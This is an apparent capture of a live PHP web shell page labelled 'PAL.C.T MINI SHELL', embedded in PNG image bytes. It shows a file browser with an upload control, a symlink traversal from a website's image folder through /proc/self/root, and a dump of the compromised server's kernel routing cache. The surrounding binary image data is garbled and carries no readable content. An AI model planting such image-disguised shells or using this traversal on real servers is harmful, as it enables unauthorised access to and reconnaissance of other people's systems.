php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/proc/self/root/proc/self/root/proc/4/net/
upload
files >> /var/www/html/sub/images/sym/root/proc/self/root/proc/self/root/proc/4/net/rt_cache

Iface	Destination	Gateway 	Flags		RefCnt	Use	Metric	Source		MTU	Window	IRTT	TOS	HHRef	HHUptod	SpecDst                          
lo	F4A1C780	F4A1C780	80000000	0	5	0	9323D12C	0	0	0	00	-1	0	F4A1C780                                                            
eth0	F6695303	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
eth0	CE495A03	0180C780	       0	0	1	0	F4A1C780	1500	0	1235	00	172	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	5	0	AB6AD42C	0	0	0	00	-1	0	F4A1C780                                                            
eth0	9144CB34	0180C780	       0	0	1	0	F4A1C780	1500	0	1245	00	172	1	F4A1C780                                                   
eth0	29CB7ADE	0180C780	       0	0	11	0	F4A1C780	1500	0	495	00	172	1	F4A1C780                                                   
eth0	0C59CC34	0180C780	       0	0	1	0	F4A1C780	1500	0	1198	00	172	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	6	0	099CD003	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	1	0	86317C4F	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	78	0	29CB7ADE	0	0	0	00	-1	0	F4A1C780                                                           
eth0	18915EA7	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
eth0	B08A4634	0180C780	       0	0	1	0	F4A1C780	1500	0	1252	00	172	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	5	0	E05A5936	0	0	0	00	-1	0	F4A1C780                                                            
eth0	D90A2629	0180C780	       0	1	13	0	F4A1C780	1500	0	526	00	172	1	F4A1C780                                                   
eth0	6446D512	0180C780	       0	1	1	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
eth0	09815933	0180C780	       0	0	1	0	F4A1C780	1500	0	1163	00	172	1	F4A1C780                                                   
eth0	2655DE03	0180C780	       0	0	1	0	F4A1C780	1500	0	1230	00	172	1	F4A1C780                                                   
eth0	6BBEDE03	0180C780	       0	0	1	0	F4A1C780	1500	0	1200	00	172	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	0	0	6A09D95F	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	9144CB34	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	1	0	9134D65F	0	0	0	00	-1	0	F4A1C780                                                            
eth0	9323D12C	0180C780	       0	0	1	0	F4A1C780	1500	0	1205	00	172	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	1	0	12603295	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	09815933	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	0	0	F6695303	0	0	0	00	-1	0	F4A1C780                                                            
eth0	F4690034	0180C780	       0	0	1	0	F4A1C780	1500	0	1225	00	172	1	F4A1C780                                                   
eth0	099CD003	0180C780	       0	0	1	0	F4A1C780	1500	0	1265	00	172	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	2	0	6446D512	0	0	0	00	-1	0	F4A1C780                                                            
eth0	2C33A9C2	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	7	0	059B9C68	0	0	0	00	-1	0	F4A1C780                                                            
eth0	54DD03C3	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
eth0	9134D65F	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	97	0	D90A2629	0	0	0	00	-1	0	F4A1C780                                                           
eth0	AB6AD42C	0180C780	       0	0	1	0	F4A1C780	1500	0	1240	00	172	1	F4A1C780                                                   
eth0	8DA8E65B	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	1	0	1E2710B9	0	0	0	00	-1	0	F4A1C780                                                            
eth0	E05A5936	0180C780	       0	0	1	0	F4A1C780	1500	0	1342	00	172	1	F4A1C780                                                   
eth0	12603295	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
eth0	86317C4F	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	4	0	CE495A03	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	0	0	18915EA7	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	F4690034	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	6BBEDE03	0	0	0	00	-1	0	F4A1C780                                                            
lo	0100007F	0100007F	80000000	0	11	0	0100007F	16436	0	0	00	-1	0	0100007F                                                       
lo	F4A1C780	F4A1C780	80000000	0	1	0	54DD03C3	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4090	0	90D849D8	0	0	0	00	-1	0	F4A1C780                                                         
lo	F4A1C780	F4A1C780	80000000	0	0	0	A19C3E40	0	0	0	00	-1	0	F4A1C780                                                            
eth0	4F0980B2	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
eth0	059B9C68	0180C780	       0	0	3	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	0	0	4C925EA7	0	0	0	00	-1	0	F4A1C780                                                            
lo	0100007F	0100007F	80000000	0	31	0	0100007F	16436	0	0	00	3	1	0100007F                                                        
eth0	A19C3E40	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
eth0	4C925EA7	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
eth0	1E2710B9	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	0	0	2C33A9C2	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	B08A4634	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	2655DE03	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	3AFCCF2C	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	0	0	8DA8E65B	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	1	0	4F0980B2	0	0	0	00	-1	0	F4A1C780                                                            
eth0	0586DF03	0180C780	       0	0	2	0	F4A1C780	1500	0	1225	00	172	1	F4A1C780                                                   
eth0	90D849D8	0180C780	       0	3	1154	0	F4A1C780	1500	0	481	00	172	1	F4A1C780                                                 
eth0	3AFCCF2C	0180C780	       0	0	1	0	F4A1C780	1500	0	1405	00	172	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	1	0	5672804E	0	0	0	00	-1	0	F4A1C780                                                            
lo	0100007F	0100007F	80000000	0	9	0	0100007F	16436	0	0	00	-1	0	0100007F                                                        
lo	F4A1C780	F4A1C780	80000000	0	5	0	0586DF03	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	0C59CC34	0	0	0	00	-1	0	F4A1C780                                                            
eth0	5672804E	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	172	1	F4A1C780                                                      
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`